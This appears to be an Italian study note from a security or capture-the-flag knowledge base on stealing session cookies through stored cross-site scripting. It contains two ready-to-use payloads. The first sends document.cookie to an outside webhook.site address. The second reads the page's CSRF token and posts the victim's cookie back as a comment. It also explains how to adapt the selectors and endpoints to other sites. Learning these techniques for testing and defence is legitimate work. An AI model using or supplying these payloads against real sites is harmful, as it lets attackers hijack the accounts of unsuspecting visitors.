tags: xss stored_xss XSS_Rubare_Cookie
Tramite Server Esterno (Out-of-Band)
Quando troviamo una sezione vulnerabile ad una XSS stored possiamo rubare il cookie degli utenti che visitano il nostro payload malevolo.
Per prima cosa andiamo al sito https://webhook.site/ che gi genererà subito un sito che ci servirà per catturare il cookie. Nel caso il sito ci desse questo URL https://webhook.site/c90ab6d6-260d-47c6-9d55-76696a6322b6 il payload diventerebbe il seguente:
<script>
fetch('https://webhook.site/c90ab6d6-260d-47c6-9d55-76696a6322b6?cookie=' + document.cookie);
</script>Lo inseriamo nella sezione vulnerabile e aspettiamo che un utente visiti il nostro payload, non appena qualcuno lo farà ci apparirà il suo cookie nella richiesta GET fatta al nostro sito di webhook.
Tramite Server Interno (In-Band)
Questo script è un esempio di come potrebbe essere un payload che al posto che mandare una richiesta ad un server esterno genera un commento con il cookie della vittima come contenuto:
<script>
// Usiamo un timeout per assicurarci che il form dei commenti sia stato caricato nel DOM
setTimeout(function() {
// 1. Estrazione del token CSRF e del postId dal form HTML
let token = document.querySelector('input[name="csrf"]').value;
let postId = document.querySelector('input[name="postId"]').value;
// 2. Preparazione dei parametri per la richiesta POST
let data = new URLSearchParams();
data.append('csrf', token);
data.append('postId', postId);
data.append('name', 'PwnedBot');
data.append('email', '[email protected]');
data.append('website', '');
data.append('comment', document.cookie); // Il cookie della vittima diventa il commento
// 3. Invio silente della richiesta
fetch('/post/comment', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: data.toString()
});
}, 1000);
</script>Il payload fa affidamento su elementi hardcoded che variano da applicazione ad applicazione:
-
Selettori del DOM: Cerca campi di input specifici come
name="csrf"ename="postId". Su un altro sito, il token anti-CSRF potrebbe chiamarsiauthenticity_token,_csrf, o essere implementato tramite header HTTP invece che in un form nascosto. -
Endpoint API: Invia la richiesta POST al percorso
/post/comment. Su un altro sito l’endpoint potrebbe essere/api/v1/users/update,/sendMessage, o qualsiasi altra rotta. -
Parametri della richiesta: Struttura il corpo della richiesta aspettandosi i parametri
name,email,websiteecomment.